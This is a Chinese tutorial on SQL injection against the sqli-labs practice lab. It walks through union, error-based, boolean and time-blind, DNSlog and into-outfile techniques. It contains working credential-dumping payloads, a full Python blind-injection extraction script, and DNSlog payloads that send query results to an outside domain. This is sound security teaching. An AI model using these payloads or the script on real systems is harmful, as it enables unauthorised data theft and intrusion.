SQL注入(一)-基础

SQL注入-基础

  • 前言
  • SQL注入的步骤(必看)
  • GET请求注入
    • union注入
      • 1、涉及的mysql函数
      • 2、union注入案例
    • 报错注入
      • 一、Extractvalue报错注入
        • 1、extractvalue报错涉及到的Mysql函数
        • 2、Extractvalue报错注入案例:
      • 二、updateXML报错注入
        • 1、updateXML报错涉及设计的函数
        • 2、updateXML报错案例:
      • 三、floor报错注入
        • 1、floor报错注入涉及的函数
        • 2、floor报错注入案例:
    • 盲注
      • 一、布尔盲注
        • 1、布尔盲注涉及的函数
        • 2、布尔盲注案例
        • 3、布尔盲注脚本(Python)
      • 二、时间盲注
        • 1、时间盲注涉及的函数
        • 2、时间盲注案例
        • 3、时间盲注脚本(Python)
    • Mysql文件读写
      • 一、PHP小皮配置Mysql文件读写权限
      • 二、 DNSlog注入( load_file)
        • 1、DNSlog注入涉及的函数
        • 2、DNSlog注入案例
      • 三、文件上传into outfile(一句话木马)
        • 1、文件上传涉及的知识点
        • 2、文件上传(一句话木马)案例
  • POST注入
    • 一、POST请求方法之union注入
    • 二、POST请求方法之报错注入
    • 三、POST请求方法之盲注
    • 四、POST dnslog注入

前言

什么是SQL注入:
SQL注入是程序对用户输入数据的合法性没有进行处理和判断,导致攻击者可以在web应用程序事先定义好的sql语句中添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器来执行非授权的任意查询,查看未被授权的数据。

SQL注入的步骤(必看)

SQL注入的步骤(必看)
备:(以下的6步是笔者请求行业大佬加上自己总结出来的通用6步方法)

第一步:
找注入点 (任何与后端数据库交互的地方,请求参数,http头部cookie字段等等)通常用单引号(')去试探
第二步:
判断注入格式(整形/字符型)
判断注入类型(报错,盲注xx)
判断数据库类型(Mysql、MS_SQLserver、Oracle)
第三步:
构造闭合(通过闭合构造后端执行的自定义的sql语句)
整型的闭合为(空白)
第四步:
判断表的行数
第五步:
判断回显位置(时间盲注或布尔盲注没有回显)
例如:当页面出现报错信息我们可以判断它是union注入 | 报错注入
在这里插入图片描述
在页面专门输入一个错误的信息他不回显,大概率就是盲注
SQL注入(一)-基础_第1张图片

第六步:
先查库名、表名、字段名
然后{判断自己需要的数据,如账号密码表等)

GET请求注入

GET请求:我们一切的操作都在请求行即(URL)中进行注入

union注入

1、涉及的mysql函数

UNION:联合查询
ORDRR BY:排序
GROUP BY:分组
SELECT:查询
GROUP_CONCAT:将组中的字符串连接成为具有各种选项的单个字符串

2、union注入案例

环境:sqli-1

第一步:找到注入点并输入1‘探测是否存在sql注入
注入方式:GET(请求方法)

http://192.168.101.166/sqli/Less-1/?id=1'

SQL注入(一)-基础_第2张图片
第二步:判断注入类型、注入方法、数据库类型
注入方法: UNION注入
数据库类型判断: MYSQL数据库
注入类型判断: 字符型

方法一:
1=1:回显
1=2:回显
两个都回显说明是字符型

http://192.168.101.166/sqli/Less-1/?id=1 and 1=1

SQL注入(一)-基础_第3张图片

http://192.168.101.166/sqli/Less-1/?id=1 and 1=2

SQL注入(一)-基础_第4张图片

1=1/1=2都能正常回显出内容,所以这是一个典型的字符型

第三步:判断闭合方式(整型直接跳过这一步)

常见的闭合有以下几种:

" ') ")

这里正确的闭合方式是 '(单引号)

http://192.168.101.166/sqli/Less-1/?id=1'--+

SQL注入(一)-基础_第5张图片
第四步:判断表的列数
判断方法: order by 或者 group by (order by 和group by的用法相同这里我使用order by来演示)

http://192.168.101.166/sqli/Less-1/?id=1' order by 3--+

SQL注入(一)-基础_第6张图片
所以我们用3来试探一下

http://192.168.101.166/sqli/Less-1/?id=1' order by 3--+

SQL注入(一)-基础_第7张图片
第五步:判断回显的位置

在第四步我们确定了表的列数,所以这一步我们来判断哪一列可以回显数据

http://192.168.101.166/sqli/Less-1/?id=1' union select 1,2,3--+

SQL注入(一)-基础_第8张图片
第六步:爆库名

从上一步我们判断了回显位置是在2、3号位,所以我们接下来的暴库、爆表、爆字段等一系列操作都在2、3号位里面进行

http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,database(),3--+

database():显示当前数据库名称
SQL注入(一)-基础_第9张图片
第七步:爆表名

爆表名设计的关键数据库和表名:(必背)
information_schema: 存放所有表和字段的数据库(非常非常重要)
例如:
SQL注入(一)-基础_第10张图片

tables: 存放所有的表 (它归information_schema数据库管)
例如:select table_name from information_schema.tables;
SQL注入(一)-基础_第11张图片

columns: 存放所有表的字段名 (它也归information_schema数据库管)
例如:select column_name from information_schema.columns;
SQL注入(一)-基础_第12张图片

介绍完上面的关键数据库和表名,接下来我们进入正题:

http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,(select Group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

代码里面的Group_concat()
SQL注入(一)-基础_第13张图片
通过上图我们拿到了以下表格:
emails | referers | uagents | users | xm
拿到以上表名,让我们在第八步中爆字段名就容易了

第八步:获取字段名

这里我选择看 users 这张表的字段名

http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+

SQL注入(一)-基础_第14张图片

通过以上步骤我们爆出users这张表里面的字段:
id,username,password 接下来我们就可以看它的密码、账号

第九步:拿取账号、密码

http://192.168.101.166/sqli/Less-1/?id=-1' union select 1,(select group_concat(username,'==>',password) from users),3 --+

SQL注入(一)-基础_第15张图片

到此我们union注入就结束了

报错注入

常见的报错注入有以下三种:
Extractvalue | updateXML | Floor

一、Extractvalue报错注入

1、extractvalue报错涉及到的Mysql函数

涉及到的函数:
Extarctvalue(列名,查询的内容):从目标XML中返回包含所查询值的字符串。
备注:输出字符长度限制为32个字符
例如:select extarctvalue(name,'/boor/html') from tables 从name这个字段里面查找’/boor/html’字符串
concat:拼接字符串
例如:select concat('我爱','中国');
SQL注入(一)-基础_第16张图片
Substring(总的内容,从哪里开始显示,显示几个字符):
例如:select substring('abc',1,1);
SQL注入(一)-基础_第17张图片

2、Extractvalue报错注入案例:

第一步:判断注入点(以及是否存在sql注入)

http://192.168.101.175/sqli/Less-5/?id=1'

SQL注入(一)-基础_第18张图片
第二步:判断类型、闭合、数据库、格式
类型:报错注入
格式:字符型
数据库:Mysql

http://192.168.101.175/sqli/Less-5/?id=1 and 1=2--+

SQL注入(一)-基础_第19张图片

http://192.168.101.175/sqli/Less-5/?id=1 and 1=1--+

SQL注入(一)-基础_第20张图片

通过and 1=1 | and 1=2页面都会正常回显所以基本可以确定这是一个字符型的注入

第三步:判断闭合符号

http://192.168.101.175/sqli/Less-5/?id=1' and 1=1--+

SQL注入(一)-基础_第21张图片

http://192.168.101.175/sqli/Less-5/?id=1' and 1=2--+

SQL注入(一)-基础_第22张图片

通过上面 1’ and 1=1(回显) | 1’ and 1=2(不回显)
基本可以确认它的闭合符号为单引号

第四步:判断列数

http://192.168.101.175/sqli/Less-5/?id=1' order by 3--+

通过笔者多次用二分法来判断,该表的列数为3列

SQL注入(一)-基础_第23张图片
第五步:判断回显位置

http://192.168.101.175/sqli/Less-5/?id=-1' union select 1,2,3--+

SQL注入(一)-基础_第24张图片

通过以上步骤页面是没有给我们回显1、2、3的,所以union方法就行不通了,我们可以尝试写入错误的函数来判断它是否存在报错注入

http://192.168.101.175/sqli/Less-5/?id=-1' union select 1,databass(),3--+

这里我们使用了错误的 databass() 来试探页面发现果然存在报错注入
SQL注入(一)-基础_第25张图片
所以接下来我们就用extractvalue函数进行暴库、爆表、爆字段

第六步:暴库

http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,concat(0x7e,(database()))))--+

SQL注入(一)-基础_第26张图片

第七步:爆表

http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+

SQL注入(一)-基础_第27张图片

第八步:爆字段

通过上一个步骤我们拿到了以下表格:
emails | referers | uagents | users | xm
拿到以上表名,让我们在第八步中爆字段名就容易了

http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))))--+

SQL注入(一)-基础_第28张图片

通过上一步爆破字段名,我们拿到了 id | username | password 这些字段
接下来我们直接开始爆破密码账号,但是下一步中我们要用到一个关键的函数substring()因为extractvalue()函数只回显32个字符,所以要想拿到全部的账号密码我们就要结合substring函数来爆破

第九步:爆账号密码

显示前31个字符

http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,substring(concat(0x7e,(select group_concat(username,'=',password) from users)),1,31)))--+

SQL注入(一)-基础_第29张图片

显示后31个字符

http://192.168.101.175/sqli/Less-5/?id=1' union select 1,2,(select extractvalue(1,substring(concat(0x7e,(select group_concat(username,'=',password) from users)),32,61)))--+

SQL注入(一)-基础_第30张图片

到此我们extractvalue报错就结束了
下一节updateXML报错

二、updateXML报错注入

1、updateXML报错涉及设计的函数

updateXML(列名,路径,替换路径的内容)
例如:在xml数据库中有张dom表里面存在data字段

SQL注入(一)-基础_第31张图片
这里我们在路径里面添加他就会把线后面的类容给我们回显
在这里插入图片描述

2、updateXML报错案例:

第一步:判断注入点

http://192.168.119.134/sqli/Less-5?id=1'

SQL注入(一)-基础_第32张图片

输入单引号会报错 所以它存在SQL注入

第二步:判断类型(整型/字符型) | 闭合方式

payload_1:
http://192.168.119.134/sqli/Less-5?id=1' and 1=2--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=1' and 1=1--+

SQL注入(一)-基础_第33张图片
SQL注入(一)-基础_第34张图片

从上面两个payload我们可以得出两个重要信息:
1、这道题是字符类型,闭合方式是单引号、数据库是mysql
2、有回显,所以可以排除盲注的可能性了

第三步:判断列数

payload_1:
http://192.168.119.134/sqli/Less-5?id=1' order by 3--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=1' order by 4--+

SQL注入(一)-基础_第35张图片
SQL注入(一)-基础_第36张图片

从上面两个payload中得到Order by 3正常回显 Order by 4 报错所以我们可以得出他有3列数据

第四步:判断注入方式

payload_1:
http://192.168.119.134/sqli/Less-5?id=-1' union select 1,2,3--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=-1' union select 1,databass(),3--+

SQL注入(一)-基础_第37张图片
SQL注入(一)-基础_第38张图片

从第一个payload中我们可以从第一张图中得到,页面并没有变化,但是他又有回显,所以我们就可以大胆猜测他是一手报错注入,输入一个错误的database()果不其然他把数据库名称给我们回显出来了 所以我们接下来进行暴库 | 爆表 | 爆字段

第五步:拿数据库名

http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,database()),3)--+

SQL注入(一)-基础_第39张图片

我们输入报错的payload在我们意料之中的报错了数据库名称 接下来我们爆表名

第六步:拿表名

payload_1:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,61)),3)--+

SQL注入(一)-基础_第40张图片
在这里插入图片描述

第一张图我们可以很明显的看出他的表名没有显示完全,因为updatexml最多只回显前31个字符
所以我们这里用到一个新的函数substring(字符,开始位置,结束位置)
例如substring(database,1,3):只回显sub这三个字符

第七步:爆字段名

http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31)),3)--+

SQL注入(一)-基础_第41张图片

从上面的payload中我们的出users表的所有字段名,所以接下来我们进行查看这些字段里面有哪些内容

第八步:爆显示的内容

paylaod_1:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(username,password) from users),1,31)),3)--+
payload_2:
http://192.168.119.134/sqli/Less-5?id=-1' or updatexml(1,concat(0x7e,substring((select group_concat(username,password) from users),32,61)),3)--+

SQL注入(一)-基础_第42张图片
SQL注入(一)-基础_第43张图片

从上面两张图中我们只用改变substring(1,2,3)中的2 | 3号位来修改要查看内容的不同位置
到此我们updatexml报错注入就学完啦

三、floor报错注入

1、floor报错注入涉及的函数

floor():向下取整函数
例如:select floor(1.5);
SQL注入(一)-基础_第44张图片
rand():随机返回0-1之间的小数
例如:select rand();
SQL注入(一)-基础_第45张图片
concat_ws():把括号内的数据用第一个字段连接起来
例如:select concat_ws(0x7e,2,3);0x7e = ~
SQL注入(一)-基础_第46张图片
group by:分组
例如:select count(sex) from users group by sex;
as:起别名
例如:select count(*) as a from users;
SQL注入(一)-基础_第47张图片
count():计数
例如:select count(*) from users;
SQL注入(一)-基础_第48张图片
limit(查看第几行,行数):显示指定行数
例如:显示第二行select * from security.users limit 1,1;
SQL注入(一)-基础_第49张图片

2、floor报错注入案例:

第一步:判断注入点

http://192.168.119.134/sqli/Less-6?id=1"

SQL注入(一)-基础_第50张图片

从上面的报错信息中我们可以得出他的闭合方式为双引号

第二步:判断列数

payload_1:
http://192.168.119.134/sqli/Less-6?id=1" group by 3--+
payload_2:
http://192.168.119.134/sqli/Less-6?id=1" group by 4--+

SQL注入(一)-基础_第51张图片
SQL注入(一)-基础_第52张图片

从上面的两个payload中我们可以很清晰的得出他有3列

第三步:判断攻击方式

payload_1:
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,2,3--+
payload_2:
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,databass(),3--+

SQL注入(一)-基础_第53张图片
SQL注入(一)-基础_第54张图片

从第一个payload中我们可以从第一张图中得到,页面并没有变化,但是他又有回显,所以我们就可以大胆猜测他是一手报错注入,输入一个错误的database()果不其然他把数据库名称给我们回显出来了 所以我们接下来进行暴库 | 爆表 | 爆字段

第四步:暴库

http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,database(),floor(rand(0)*2)) as x from information_schema.tables group by x--+

SQL注入(一)-基础_第55张图片
第五步:暴表

http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+

SQL注入(一)-基础_第56张图片
第六步:爆字段

http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+

SQL注入(一)-基础_第57张图片
第七步:爆密码账号

方法一;
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select concat(username,'=',password) from users limit 1,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+
方法二:
http://192.168.119.134/sqli/Less-6?id=-1" union select 1,count(*),concat_ws(0x7e,(select substring((group_concat(username,'=',password)),31,61) from users),floor(rand(0)*2)) as x from information_schema.tables group by x --+

SQL注入(一)-基础_第58张图片
SQL注入(一)-基础_第59张图片

第一个payload是使用limit函数来控制回显内容
第二个payload是使用substring函数来控制回显内容

到此floor注入就完了


盲注

一、布尔盲注

1、布尔盲注涉及的函数

ASCII:将字母转换对应的数字
例如:select ascii('a');
SQL注入(一)-基础_第60张图片
Substr(1,2,3):1:字符串 2:从哪里开始 3:显示几位数字
例如:select substr("abc",2,1);
SQL注入(一)-基础_第61张图片
length:判断长度
例如:select length("abc");
SQL注入(一)-基础_第62张图片
limit:控制要回显的位置

2、布尔盲注案例

第一步:判断注入点

payload_1:
http://192.168.2.101/sqli/Less-8?id=1'
payload_2:
http://192.168.2.101/sqli/Less-8?id=1'--+

SQL注入(一)-基础_第63张图片
SQL注入(一)-基础_第64张图片

从上面两个payload中,我们可以观察出当输入1’的时候页面没有任何的回显,当输入–+的时候页面回显正常数据,所以我们可以得到以下信息:
1、没有报错回显—》盲注
2、闭合方式位单引号
如果这里我们还不确定闭合符号是否为单引号时我们就可以使用and来判断
例如:
1‘ and 1=1--+ =====>回显

1' and 1=2--+ ===>不回显
当符合上面两种结论的时候我们就可以确认闭合方式为单引号了

第二步:判断数据库名的长度

payload_1:
1' and length(database())>=8--+
payload_2:
1' and length(database())>=9--+

SQL注入(一)-基础_第65张图片
SQL注入(一)-基础_第66张图片

我们判断数据库表名的长度大于等于8的时候,页面正常回显---->然后输入9的时候页面没有回显任何的东西 所以我们基本可以确定数据库名的长度为8位

第三步:爆库名

使用二分法来爆破数据库名:
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),1,1))=115--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),2,1))=101--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),3,1))=99--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),4,1))=117--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),5,1))=115--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),6,1))=114--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),7,1))=104--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),8,1))=116--+
http://192.168.2.101/sqli/Less-8?id=1' and ascii(substr(database(),9,1))=121--+

SQL注入(一)-基础_第67张图片

通过以上的方法我们可以得出数据库名为:security
后面的步骤:先拿表名的个数 | 每个表名的长度 | 爆破表名 | 表中的字段总数 | 单个字段的数量 | 爆破字段名 | 判断有多少行数据 | 每个数据有多长 | 爆破数据
下面我们直接上脚本

3、布尔盲注脚本(Python)
import requests,re
import os
url = "http://192.168.2.101/sqli/Less-8"
close = "'" #输入闭合符号
"""判断数据库长度"""
global length
def database_length(url):
    for x in range(1000):
        params = {
            "id" : f"1{close.strip()} and length(database())={x}#"
        }
        response = requests.get(url=url,params=params)
        html = response.text
        if "You are in" in html:
            global length
            length = x 
            print(f'数据库名的长度为:{length}')
            break

"""爆破数据库名"""
database = ''#存放数据库名
def database_name(url):
    global length
    print("-----------+现在开始爆破数据库名:+-----------")
    for length in range(1,int(length)+1):
        for y in range(1000):
            params = {
                'id':f"1{close.strip()} and ascii(substr(database(),{length},1))={y}#"
            }
            response = requests.get(url=url,params=params)
            html = response.text
            if "You are in" in html:
                global database
                database += chr(y)
                print(f"第{length}位:{chr(y)}")
                break
    print("爆破完毕!")
    print(f"数据库名为:{database}")

"""表的数量"""
global table_sum
def table_count(url):
    for y in range(1,200):
        params = {
            "id":f"1{close.strip()} and (select count(table_name) from information_schema.tables where TABLE_SCHEMA = '{database}')={y}#"
        }
        response = requests.get(url=url,params=params)
        html = response.text
        if "You are in" in html:
            global table_sum
            table_sum = y
            print(f'{database}数据库中表的总数为:{table_sum}')
            break

"""表名的长度"""
table_lengths = {}
def tables_length(url):
    print('-----------+现在开始爆破每张数据表的长度:+-----------')
    for x in range(table_sum):
        for y in range(1000):
            params = {
                'id':f"1{close.strip()} and length((select table_name from information_schema.tables where table_schema='{database}' limit {x},1))={y}#"
            }
            resposne = requests.get(url=url,params=params)
            html = resposne.text
            if "You are in" in html:
                table_lengths[f"{x}"] = y
                print(f"第{x+1}张表的长度为:{y}")
                break
    print('爆破结束!')

"""爆破表名"""
table_name_dic = {}
def tables_name(url):
    print('-----------+现在开始爆破每张数据表的表名:+-----------')
    for x in table_lengths:
        table_name = ""
        for y in range(1,table_lengths[x]+1):
            for z in range(1000):
                params = {
                    'id':f"1{close} and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {x},1),{y},1))={z}#"
                }
                resposne = requests.get(url=url,params=params)
                html = resposne.text
                if "You are in" in html:
                    table_name += chr(z)
                    print(f"第{int(x)+1}张表的第{y}个字段为:{chr(z)}")
                    break
        table_name_dic[f'{x}'] = table_name
    print("爆破结束!")

"""判断表中字段的数量"""
column_sum_dic = {}
def column_sum(url):
    print('-----------+现在开始爆破每张表的字段总数:+-----------')
    for table in table_name_dic.values():
        for y in range(1000):
            params = {
                'id':f"1{close} and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{table}')={y}#"
            }
            resposne = requests.get(url=url,params=params)
            html = resposne.text
            if "You are in" in html:
                column_sum_dic[table] = y
                print(f"{table}表的字段数为:{y}")
                break
    print("爆破结束!")

"""爆破字段名的长度"""
column_dic={}
def column_length(url):
    print('-----------+现在开始爆破每张表的字段名长度:+-----------')
    for table in column_sum_dic:
        column_list = []
        for y in range(column_sum_dic[table]):
            for x in range(1000):
                params = {
                    'id':f"1{close} and length((select column_name from information_schema.columns where table_name='{table}' and table_schema=database() limit {y},1))={x}#"
                }
                resposne = requests.get(url=url,params=params)
                html = resposne.text
                if "You are in" in html:
                    print(f"{table}中的第{y+1}个字段的数量为:{x}")
                    column_list.append(x)
                    break
        column_dic[table] = column_list
    print('爆破结束!')

"""爆破字段名"""
name_dic = {}#存放表名和字段名
def column_name(url):
    print('-----------+现在开始爆破每张表的字段名:+-----------')
    for table in column_dic:
        names = []
        for lis in range(0,len(column_dic[table])):
            cname = ''
            for x in range(1,column_dic[table][lis]+1):
                for y in range(1000):
                    params = {
                        'id':f"1{close} and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{table}' limit {lis},1),{x},1))={y}#"
                    }
                    resposne = requests.get(url=url,params=params)
                    html = resposne.text
                    if "You are in" in html:
                        cname += chr(y)
                        print(f"{table}表中的第{lis+1}个字段中的第{x}位为:{chr(y)}")
                        break
            names.append(cname)
        name_dic[table] = names

"""爆破内容"""
cname_dic = {}
def conent(url):
    for table in name_dic:
        cname = ''
        table_copy = ''
        for x in name_dic[table]:
            table_copy += f" {x}"
        p = table_copy.strip()
        re_p = re.sub(' ',',',p)
        for y in range(1000):
            params = {
                'id':f"1{close} and (select length((select group_concat({re_p}) from {table})))={y}#"
            }
            response = requests.get(url=url,params=params)
            html = response.text
            if "You are in" in html:
                print(f"{table}表中的共有字符总数:{y}")
                for z in range(1,y+1):
                    for m in range(1000):
                        params = {
                            "id":f"1{close} and ascii(substr((select group_concat({re_p}) from {table}),{z},1))={m}#"
                        }
                        response = requests.get(url=url,params=params)
                        html = response.text
                        if "You are in" in html:
                            cname += chr(m)
                            print(f"{table}表第{z}个字符为:{chr(m)}")
                            break
                break 
        cname_dic[table] = cname    

if __name__ in "__main__":
    database_length(url=url)
    database_name(url=url)
    table_count(url=url)
    tables_length(url=url)
    tables_name(url=url)
    print(table_name_dic)
    column_sum(url=url)
    column_length(url=url)
    print(column_dic)
    column_name(url=url)
    print(name_dic)
    conent(url=url)
    print(cname_dic)
    os.system("cls")
    n = ''
    print("------------数据库名------------")
    print(database)
    print("------------表名=字段名------------")
    for table in name_dic:
        for y in name_dic[table]:
            n += f" {y}"
            n = n.strip()
            p = re.sub(' ','|',n)
        print(f"{table}--->{p}")
    print("------------数据------------")
    for table in cname_dic:
        print(f"----{table}----")
        if cname_dic[table] == '':
            print('无数据')
        else:
            print(cname_dic[table])
    

二、时间盲注

原理:Web页面只返回一个正常页面,利用页面响应时间不同,逐个猜解数据

1、时间盲注涉及的函数

Sleep():参数为休眠时长,以秒为单位,可以为小数
if(1,2,3):1条件,2真,3假
例如:select if(1=2,1,2);
在这里插入图片描述
1=2条件为假,所有mysql返回2
ASCII:将字母转换对应的数字
例如:select ascii('a');
SQL注入(一)-基础_第68张图片
Substr(1,2,3):1:字符串 2:从哪里开始 3:显示几位数字
例如:select substr("abc",2,1);
SQL注入(一)-基础_第69张图片
length:判断长度
例如:select length("abc");
SQL注入(一)-基础_第70张图片
limit:控制要回显的位置

2、时间盲注案例

第一步:判断注入点

payload_1:
http://192.168.101.191/sqli/Less-9?id=1'--+
payload_2:
http://192.168.101.191/sqli/Less-9?id=1'

SQL注入(一)-基础_第71张图片

这里我们不管输入1’ | 1"页面都没有任何反应
在这里插入图片描述
从上图中可以看出sql语句的闭合方式就是为单引号,但是网站又存在sql注入,所以我们可以总结出以下信息:
1、没有回显(排除报错注入 | union注入)
这里我们可以用dnslog注入 || 时间盲注 这里我们使用时间盲注来做

第二步:判断闭合方式

payload:
http://192.168.101.191/sqli/Less-9?id=1' and sleep(3)--+

SQL注入(一)-基础_第72张图片
SQL注入(一)-基础_第73张图片

从上图我们可以得出网请求了接近3秒钟才给我们返回响应包,所以这道题的闭合方式为单引号

第三步:判断数据库名的长度

payload:
http://192.168.101.191/sqli/Less-9?id=1' and if((select length(database()))=8,sleep(2),sleep(0))--+

SQL注入(一)-基础_第74张图片

这里返回的时间为2.01跟2很接近,所以数据库的长度为8

第四步:暴库名

payload:
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),3)--+
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),2,1))=101,sleep(2),3)--+
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),3,1))=99,sleep(2),3)--+
                      |
                      |
                      V
http://192.168.101.191/sqli/Less-9?id=1' and if(ascii(substr(database(),8,1))=121,sleep(2),3)--+

通过控制substr中的第二参数来调整数据名的位数,进行依次爆破每个字母的值
然后对照ascii表爆出数据名为:security

后面的步骤就不一一演示了,因为和上面的方法类似
后面的步骤为:判断表的个数 | 判断表的数量 | 判断表名的长度 | 爆破表名 | 判断单张表中字段的总数 | 判断字段的长度 | 爆破字段名 | 爆破内容

3、时间盲注脚本(Python)

Mysql文件读写

一、PHP小皮配置Mysql文件读写权限

第一步打开my.ini文件
SQL注入(一)-基础_第75张图片
进入MysqL文件夹下面点击my.ini
SQL注入(一)-基础_第76张图片
SQL注入(一)-基础_第77张图片
第二步:修改secure_file_priv=空白
如果页面中有secure_file_priv就直接修改,没有就添加进去
SQL注入(一)-基础_第78张图片

二、 DNSlog注入( load_file)

1、DNSlog注入涉及的函数

使用DNSlog注入前提是数据库配置文件中的secure_file_priv开启了的并且注入方式为union
使用show variables like '%secure%'来查看mysql是否具有文件读写权限
SQL注入(一)-基础_第79张图片
secure_file_priv:null—>不能读写
secure_file_priv:c:\\—>只能在c盘中读取
secure_file_priv:空白—>可以任意读写

load_file(路径):读取文件[不仅可以读取本地文件,还可以读取网上的文件]
例如:select load_file("//127.0.0.1/123/phpinfo.php")
这里还要用到一个DNSlog网站 传送门
SQL注入(一)-基础_第80张图片

2、DNSlog注入案例

因为笔者睡了一天后发现第一个Dnslog网站打不开了,所以接下来的案例用下面这个转送门来进行讲解
去DNSlog网站申请一个子域名网址传送门
这里打开DNSlog网页(也就是上面的传送门)我们就可以看见子域名信息

SQL注入(一)-基础_第81张图片
第一步:判断注入点

http://192.168.2.101/sqli/Less-7?id=1'))
http://192.168.2.101/sqli/Less-7?id=1'))--+

SQL注入(一)-基础_第82张图片
SQL注入(一)-基础_第83张图片

这里我们输入第一个payload的时候页面给我们提示错误,然后我们添加–+注释掉多余的部分后,页面正常回显 通过以上两个payload我们可以得出以下结论:
1、闭合方式为"))
2、有回显的内容

第二步:判断列数

http://192.168.2.101/sqli/Less-7?id=1')) group by 3--+
http://192.168.2.101/sqli/Less-7?id=1')) group by 4--+

SQL注入(一)-基础_第84张图片
SQL注入(一)-基础_第85张图片

第一个payload不报错,然后我们第二个payload输入4列网页报错,所以基本我们可以肯定它有3列数据 接下里我们直接上union注入

第三步:

payload_1:
http://192.168.2.101/sqli/Less-7?id=-1')) union select 1,2,3--+
payload_2:
http://192.168.2.101/sqli/Less-7?id=-1')) union select 1,databass(),3--+

SQL注入(一)-基础_第86张图片
SQL注入(一)-基础_第87张图片

从上面两个payload中我们可以得出以下结论:
1、union注入没有反应
2、报错注入也没有反应(所以这道题绝对不是报错)
一般遇到这种情况我们就可以考虑用盲注或者DNSlog注入了这里我们用DNSlog注入

第四步:使用DNSlog注入获取数据库名

语法:load_file(concat('//',(注入的语句),".子域名/a.txt"))
load_file(concat('//',database(),'.6e366741.ipv6.1433.eu.org/a.txt'))
?id=-1')) union select 1,2,load_file(concat('//',database(),'.6e366741.ipv6.1433.eu.org/a.txt'))--+

然后我们输入payload后去dnslog网站刷新就会看见数据库的表名

SQL注入(一)-基础_第88张图片

SQL注入(一)-基础_第89张图片
第五步:获取表名

http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+

SQL注入(一)-基础_第90张图片
SQL注入(一)-基础_第91张图片

我们输入payload后提交,然后去dnslog上面刷新就会看见一张表的信息,因为我们这里是用limit来控制输出的,如果要看第二张表的话我们就把payload中的limit 0,1修改成limit 1,1
例如:
SQL注入(一)-基础_第92张图片
SQL注入(一)-基础_第93张图片
用以上的方法我们就可以拿到全部的数据表

第六步:获取字段名

http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() andtable_name='users' limit 0,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+

SQL注入(一)-基础_第94张图片
在这里插入图片描述

同过上面的payload然后修改limit就可以获得表中全部的字段

第七步:获取表中的内容

密码payload:
http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select password from users limit 1,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+
账号payload:
http://192.168.2.101/sqli/Less-7/?id=-1')) union select 1,2,load_file(concat('//',(select username from users limit 1,1),'.6e366741.ipv6.1433.eu.org/a.txt'))--+

SQL注入(一)-基础_第95张图片
在这里插入图片描述

通过上面的payload也和上面的步骤一样控制limit函数我们就可以拿到全部的账号和密码了

三、文件上传into outfile(一句话木马)

1、文件上传涉及的知识点

sql文件写入一句话木马的前提条件和DNSlog注入一样

1、@@datadir:显示mysql文件夹的路径
例如:select @@datadir
SQL注入(一)-基础_第96张图片
2、into outfile:写入文件命令
例如:select "" into outfile "C:\\phpstudy_pro\\www\\phpinfo.php"
在这里插入图片描述
SQL注入(一)-基础_第97张图片

